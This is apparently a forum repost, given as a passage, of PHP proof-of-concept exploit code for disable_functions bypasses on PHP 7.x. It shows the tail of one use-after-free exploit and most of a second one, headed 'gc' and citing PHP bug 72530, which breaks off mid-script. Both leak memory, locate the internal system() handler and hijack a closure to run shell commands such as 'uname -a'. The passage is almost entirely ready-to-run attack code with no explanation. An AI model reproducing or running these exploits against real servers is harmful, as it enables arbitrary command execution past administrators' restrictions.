  82. &nbsp; &nbsp; function get_basic_funcs($base, $elf) {
  83. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">list</font>($data_addr, $text_size, $data_size) = $elf;
  84. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; $data_size / <font color="#d19a66">8</font>; $i++) {
  85. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$leak = leak($data_addr, $i * <font color="#d19a66">8</font>);
  86. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">if</font>($leak - $base &gt; <font color="#d19a66">0</font> &amp;&amp; $leak - $base &lt; $data_addr - $base) {
  87. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; $deref = leak($leak);
  88. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#5c6370"><i># 'constant' constant check</i></font>
  89. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x746e6174736e6f63</font>)
  90. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">continue</font>;
  91. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;} <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;

  92. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$leak = leak($data_addr, ($i + <font color="#d19a66">4</font>) * <font color="#d19a66">8</font>);
  93. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">if</font>($leak - $base &gt; <font color="#d19a66">0</font> &amp;&amp; $leak - $base &lt; $data_addr - $base) {
  94. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; $deref = leak($leak);
  95. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#5c6370"><i># 'bin2hex' constant check</i></font>
  96. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x786568326e6962</font>)
  97. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">continue</font>;
  98. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;} <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;

  99. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">return</font> $data_addr + $i * <font color="#d19a66">8</font>;
  100. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}
  101. &nbsp; &nbsp; }

  102. &nbsp; &nbsp; function get_binary_base($binary_leak) {
  103. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$base = <font color="#d19a66">0</font>;
  104. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$start = $binary_leak &amp; <font color="#d19a66">0xfffffffffffff000</font>;
  105. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; <font color="#d19a66">0x1000</font>; $i++) {
  106. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$addr = $start - <font color="#d19a66">0x1000</font> * $i;
  107. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$leak = leak($addr, <font color="#d19a66">0</font>, <font color="#d19a66">7</font>);
  108. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">if</font>($leak == <font color="#d19a66">0x10102464c457f</font>) { <font color="#5c6370"><i># ELF header</i></font>
  109. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#c678dd">return</font> $addr;
  110. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;}
  111. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}
  112. &nbsp; &nbsp; }

  113. &nbsp; &nbsp; function get_system($basic_funcs) {
  114. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$addr = $basic_funcs;
  115. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">do</font> {
  116. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$f_entry = leak($addr);
  117. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$f_name = leak($f_entry, <font color="#d19a66">0</font>, <font color="#d19a66">6</font>);

  118. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">if</font>($f_name == <font color="#d19a66">0x6d6574737973</font>) { <font color="#5c6370"><i># system</i></font>
  119. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#c678dd">return</font> leak($addr + <font color="#d19a66">8</font>);
  120. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;}
  121. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$addr += <font color="#d19a66">0x20</font>;
  122. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;} <font color="#c678dd">while</font>($f_entry != <font color="#d19a66">0</font>);
  123. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">return</font> <font color="#c678dd">false</font>;
  124. &nbsp; &nbsp; }

  125. &nbsp; &nbsp; function trigger_uaf($arg) {
  126. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#5c6370"><i># str_shuffle prevents opcache string interning</i></font>
  127. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$arg = str_shuffle(str_repeat(<font color="#98c379">'A'</font>, <font color="#d19a66">79</font>));
  128. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$vuln = <font color="#c678dd">new</font> Vuln();
  129. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$vuln-&gt;a = $arg;
  130. &nbsp; &nbsp; }

  131. &nbsp; &nbsp; <font color="#c678dd">if</font>(stristr(PHP_OS, <font color="#98c379">'WIN'</font>)) {
  132. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">die</font>(<font color="#98c379">'This PoC is for *nix systems only.'</font>);
  133. &nbsp; &nbsp; }

  134. &nbsp; &nbsp; $n_alloc = <font color="#d19a66">10</font>; <font color="#5c6370"><i># increase this value if UAF fails</i></font>
  135. &nbsp; &nbsp; $contiguous = [];
  136. &nbsp; &nbsp; <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; $n_alloc; $i++)
  137. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$contiguous[] = str_shuffle(str_repeat(<font color="#98c379">'A'</font>, <font color="#d19a66">79</font>));

  138. &nbsp; &nbsp; trigger_uaf(<font color="#98c379">'x'</font>);
  139. &nbsp; &nbsp; $abc = $backtrace[<font color="#d19a66">1</font>][<font color="#98c379">'args'</font>][<font color="#d19a66">0</font>];

  140. &nbsp; &nbsp; $helper = <font color="#c678dd">new</font> Helper;
  141. &nbsp; &nbsp; $helper-&gt;b = function ($x) { };

  142. &nbsp; &nbsp; <font color="#c678dd">if</font>(strlen($abc) == <font color="#d19a66">79</font> || strlen($abc) == <font color="#d19a66">0</font>) {
  143. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">die</font>(<font color="#98c379">"UAF failed"</font>);
  144. &nbsp; &nbsp; }

  145. &nbsp; &nbsp; <font color="#5c6370"><i># leaks</i></font>
  146. &nbsp; &nbsp; $closure_handlers = str2ptr($abc, <font color="#d19a66">0</font>);
  147. &nbsp; &nbsp; $php_heap = str2ptr($abc, <font color="#d19a66">0x58</font>);
  148. &nbsp; &nbsp; $abc_addr = $php_heap - <font color="#d19a66">0xc8</font>;

  149. &nbsp; &nbsp; <font color="#5c6370"><i># fake value</i></font>
  150. &nbsp; &nbsp; write($abc, <font color="#d19a66">0x60</font>, <font color="#d19a66">2</font>);
  151. &nbsp; &nbsp; write($abc, <font color="#d19a66">0x70</font>, <font color="#d19a66">6</font>);

  152. &nbsp; &nbsp; <font color="#5c6370"><i># fake reference</i></font>
  153. &nbsp; &nbsp; write($abc, <font color="#d19a66">0x10</font>, $abc_addr + <font color="#d19a66">0x60</font>);
  154. &nbsp; &nbsp; write($abc, <font color="#d19a66">0x18</font>, <font color="#d19a66">0xa</font>);

  155. &nbsp; &nbsp; $closure_obj = str2ptr($abc, <font color="#d19a66">0x20</font>);

  156. &nbsp; &nbsp; $binary_leak = leak($closure_handlers, <font color="#d19a66">8</font>);
  157. &nbsp; &nbsp; <font color="#c678dd">if</font>(!($base = get_binary_base($binary_leak))) {
  158. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">die</font>(<font color="#98c379">"Couldn't determine binary base address"</font>);
  159. &nbsp; &nbsp; }

  160. &nbsp; &nbsp; <font color="#c678dd">if</font>(!($elf = parse_elf($base))) {
  161. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">die</font>(<font color="#98c379">"Couldn't parse ELF header"</font>);
  162. &nbsp; &nbsp; }

  163. &nbsp; &nbsp; <font color="#c678dd">if</font>(!($basic_funcs = get_basic_funcs($base, $elf))) {
  164. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get basic_functions address"</font>);
  165. &nbsp; &nbsp; }

  166. &nbsp; &nbsp; <font color="#c678dd">if</font>(!($zif_system = get_system($basic_funcs))) {
  167. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get zif_system address"</font>);
  168. &nbsp; &nbsp; }

  169. &nbsp; &nbsp; <font color="#5c6370"><i># fake closure object</i></font>
  170. &nbsp; &nbsp; $fake_obj_offset = <font color="#d19a66">0xd0</font>;
  171. &nbsp; &nbsp; <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; <font color="#d19a66">0x110</font>; $i += <font color="#d19a66">8</font>) {
  172. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
  173. &nbsp; &nbsp; }

  174. &nbsp; &nbsp; <font color="#5c6370"><i># pwn</i></font>
  175. &nbsp; &nbsp; write($abc, <font color="#d19a66">0x20</font>, $abc_addr + $fake_obj_offset);
  176. &nbsp; &nbsp; write($abc, <font color="#d19a66">0xd0</font> + <font color="#d19a66">0x38</font>, <font color="#d19a66">1</font>, <font color="#d19a66">4</font>); <font color="#5c6370"><i># internal func type</i></font>
  177. &nbsp; &nbsp; write($abc, <font color="#d19a66">0xd0</font> + <font color="#d19a66">0x68</font>, $zif_system); <font color="#5c6370"><i># internal func handler</i></font>

  178. &nbsp; &nbsp; ($helper-&gt;b)($cmd);
  179. &nbsp; &nbsp; <font color="#c678dd">exit</font>();
  180. }
复制代码


gc
  1. <font color="#61aeee">&lt;?php</font>

  2. <font color="#5c6370"><i># PHP 7.0-7.3 disable_functions bypass PoC (*nix only)</i></font>
  3. <font color="#5c6370"><i>#</i></font>
  4. <font color="#5c6370"><i># Bug: <a href="https://bugs.php.net/bug.php?id=72530" target="_blank">https://bugs.php.net/bug.php?id=72530</a></i></font>
  5. <font color="#5c6370"><i>#</i></font>
  6. <font color="#5c6370"><i># This exploit should work on all PHP 7.0-7.3 versions</i></font>
  7. <font color="#5c6370"><i>#</i></font>
  8. <font color="#5c6370"><i># Author: <a href="https://github.com/mm0r1" target="_blank">https://github.com/mm0r1</a></i></font>

  9. pwn(<font color="#98c379">"uname -a"</font>);

  10. function pwn($cmd) {
  11. &nbsp; &nbsp; <font color="#c678dd">global</font> $abc, $helper;

  12. &nbsp; &nbsp; function str2ptr(&amp;$str, $p = 0, $s = 8) {
  13. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$address = <font color="#d19a66">0</font>;
  14. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font>($j = $s<font color="#d19a66">-1</font>; $j &gt;= <font color="#d19a66">0</font>; $j--) {
  15. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$address &lt;&lt;= <font color="#d19a66">8</font>;
  16. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$address |= ord($str[$p+$j]);
  17. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}
  18. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">return</font> $address;
  19. &nbsp; &nbsp; }

  20. &nbsp; &nbsp; function ptr2str($ptr, $m = 8) {
  21. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$out = <font color="#98c379">""</font>;
  22. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font> ($i=<font color="#d19a66">0</font>; $i &lt; $m; $i++) {
  23. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$out .= chr($ptr &amp; <font color="#d19a66">0xff</font>);
  24. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$ptr &gt;&gt;= <font color="#d19a66">8</font>;
  25. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}
  26. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">return</font> $out;
  27. &nbsp; &nbsp; }

  28. &nbsp; &nbsp; function write(&amp;$str, $p, $v, $n = 8) {
  29. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$i = <font color="#d19a66">0</font>;
  30. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; $n; $i++) {
  31. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$str[$p + $i] = chr($v &amp; <font color="#d19a66">0xff</font>);
  32. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$v &gt;&gt;= <font color="#d19a66">8</font>;
  33. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}
  34. &nbsp; &nbsp; }

  35. &nbsp; &nbsp; function leak($addr, $p = 0, $s = 8) {
  36. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">global</font> $abc, $helper;
  37. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;write($abc, <font color="#d19a66">0x68</font>, $addr + $p - <font color="#d19a66">0x10</font>);
  38. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$leak = strlen($helper-&gt;a);
  39. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">if</font>($s != <font color="#d19a66">8</font>) { $leak %= <font color="#d19a66">2</font> &lt;&lt; ($s * <font color="#d19a66">8</font>) - <font color="#d19a66">1</font>; }
  40. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">return</font> $leak;
  41. &nbsp; &nbsp; }

  42. &nbsp; &nbsp; function parse_elf($base) {
  43. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$e_type = leak($base, <font color="#d19a66">0x10</font>, <font color="#d19a66">2</font>);

  44. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$e_phoff = leak($base, <font color="#d19a66">0x20</font>);
  45. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$e_phentsize = leak($base, <font color="#d19a66">0x36</font>, <font color="#d19a66">2</font>);
  46. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$e_phnum = leak($base, <font color="#d19a66">0x38</font>, <font color="#d19a66">2</font>);

  47. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; $e_phnum; $i++) {
  48. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$header = $base + $e_phoff + $i * $e_phentsize;
  49. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$p_type&nbsp;&nbsp;= leak($header, <font color="#d19a66">0</font>, <font color="#d19a66">4</font>);
  50. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$p_flags = leak($header, <font color="#d19a66">4</font>, <font color="#d19a66">4</font>);
  51. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$p_vaddr = leak($header, <font color="#d19a66">0x10</font>);
  52. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$p_memsz = leak($header, <font color="#d19a66">0x28</font>);

  53. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> &amp;&amp; $p_flags == <font color="#d19a66">6</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_Write</i></font>
  54. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#5c6370"><i># handle pie</i></font>
  55. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; $data_addr = $e_type == <font color="#d19a66">2</font> ? $p_vaddr : $base + $p_vaddr;
  56. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; $data_size = $p_memsz;
  57. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;} <font color="#c678dd">else</font> <font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> &amp;&amp; $p_flags == <font color="#d19a66">5</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_exec</i></font>
  58. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; $text_size = $p_memsz;
  59. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;}
  60. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}

  61. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">if</font>(!$data_addr || !$text_size || !$data_size)
  62. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">return</font> <font color="#c678dd">false</font>;

  63. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">return</font> [$data_addr, $text_size, $data_size];
  64. &nbsp; &nbsp; }

  65. &nbsp; &nbsp; function get_basic_funcs($base, $elf) {
  66. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">list</font>($data_addr, $text_size, $data_size) = $elf;
  67. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; $data_size / <font color="#d19a66">8</font>; $i++) {
  68. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$leak = leak($data_addr, $i * <font color="#d19a66">8</font>);
  69. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">if</font>($leak - $base &gt; <font color="#d19a66">0</font> &amp;&amp; $leak - $base &lt; $data_addr - $base) {
  70. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; $deref = leak($leak);
  71. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#5c6370"><i># 'constant' constant check</i></font>
  72. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x746e6174736e6f63</font>)
  73. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">continue</font>;
  74. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;} <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;

  75. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$leak = leak($data_addr, ($i + <font color="#d19a66">4</font>) * <font color="#d19a66">8</font>);
  76. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">if</font>($leak - $base &gt; <font color="#d19a66">0</font> &amp;&amp; $leak - $base &lt; $data_addr - $base) {
  77. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; $deref = leak($leak);
  78. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#5c6370"><i># 'bin2hex' constant check</i></font>
  79. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x786568326e6962</font>)
  80. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">continue</font>;
  81. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;} <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;

  82. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">return</font> $data_addr + $i * <font color="#d19a66">8</font>;
  83. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}
  84. &nbsp; &nbsp; }

  85. &nbsp; &nbsp; function get_binary_base($binary_leak) {
  86. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$base = <font color="#d19a66">0</font>;
  87. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$start = $binary_leak &amp; <font color="#d19a66">0xfffffffffffff000</font>;
  88. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; <font color="#d19a66">0x1000</font>; $i++) {
  89. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$addr = $start - <font color="#d19a66">0x1000</font> * $i;
  90. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$leak = leak($addr, <font color="#d19a66">0</font>, <font color="#d19a66">7</font>);
  91. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">if</font>($leak == <font color="#d19a66">0x10102464c457f</font>) { <font color="#5c6370"><i># ELF header</i></font>
  92. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#c678dd">return</font> $addr;
  93. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;}
  94. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}
  95. &nbsp; &nbsp; }

  96. &nbsp; &nbsp; function get_system($basic_funcs) {
  97. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$addr = $basic_funcs;
  98. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">do</font> {
  99. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$f_entry = leak($addr);
  100. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$f_name = leak($f_entry, <font color="#d19a66">0</font>, <font color="#d19a66">6</font>);

  101. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">if</font>($f_name == <font color="#d19a66">0x6d6574737973</font>) { <font color="#5c6370"><i># system</i></font>
  102. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#c678dd">return</font> leak($addr + <font color="#d19a66">8</font>);
  103. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;}
  104. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$addr += <font color="#d19a66">0x20</font>;
  105. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;} <font color="#c678dd">while</font>($f_entry != <font color="#d19a66">0</font>);
  106. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">return</font> <font color="#c678dd">false</font>;
  107. &nbsp; &nbsp; }

  108. &nbsp; &nbsp; class ryat {
  109. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">var</font> $ryat;
  110. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">var</font> $chtg;
  111. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
  112. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;function __destruct()
  113. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;{
  114. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">$this</font>-&gt;chtg = <font color="#c678dd">$this</font>-&gt;ryat;
  115. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">$this</font>-&gt;ryat = <font color="#d19a66">1</font>;
  116. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}
  117. &nbsp; &nbsp; }

  118. &nbsp; &nbsp; class Helper {
  119. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">public</font> $a, $b, $c, $d;
  120. &nbsp; &nbsp; }

  121. &nbsp; &nbsp; <font color="#c678dd">if</font>(stristr(PHP_OS, <font color="#98c379">'WIN'</font>)) {
  122. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">die</font>(<font color="#98c379">'This PoC is for *nix systems only.'</font>);
  123. &nbsp; &nbsp; }

  124. &nbsp; &nbsp; $n_alloc = <font color="#d19a66">10</font>; <font color="#5c6370"><i># increase this value if you get segfaults</i></font>

  125. &nbsp; &nbsp; $contiguous = [];
  126. &nbsp; &nbsp; <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; $n_alloc; $i++)
  127. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$contiguous[] = str_repeat(<font color="#98c379">'A'</font>, <font color="#d19a66">79</font>);

  128. &nbsp; &nbsp; $poc = <font color="#98c379">'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}'</font>;
  129. &nbsp; &nbsp; $out = unserialize($poc);
  130. &nbsp; &nbsp; gc_collect_cycles();

  131. &nbsp; &nbsp; $v = [];
  132. &nbsp; &nbsp; $v[<font color="#d19a66">0</font>] = ptr2str(<font color="#d19a66">0</font>, <font color="#d19a66">79</font>);
  133. &nbsp; &nbsp; <font color="#c678dd">unset</font>($v);
  134. &nbsp; &nbsp; $abc = $out[<font color="#d19a66">2</font>][<font color="#d19a66">0</font>];

  135. &nbsp; &nbsp; $helper = <font color="#c678dd">new</font> Helper;
  136. &nbsp; &nbsp; $helper-&gt;b = function ($x) { };

  137. &nbsp; &nbsp; <font color="#c678dd">if</font>(strlen($abc) == <font color="#d19a66">79</font> || strlen($abc) == <font color="#d19a66">0</font>) {
  138. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">die</font>(<font color="#98c379">"UAF failed"</font>);
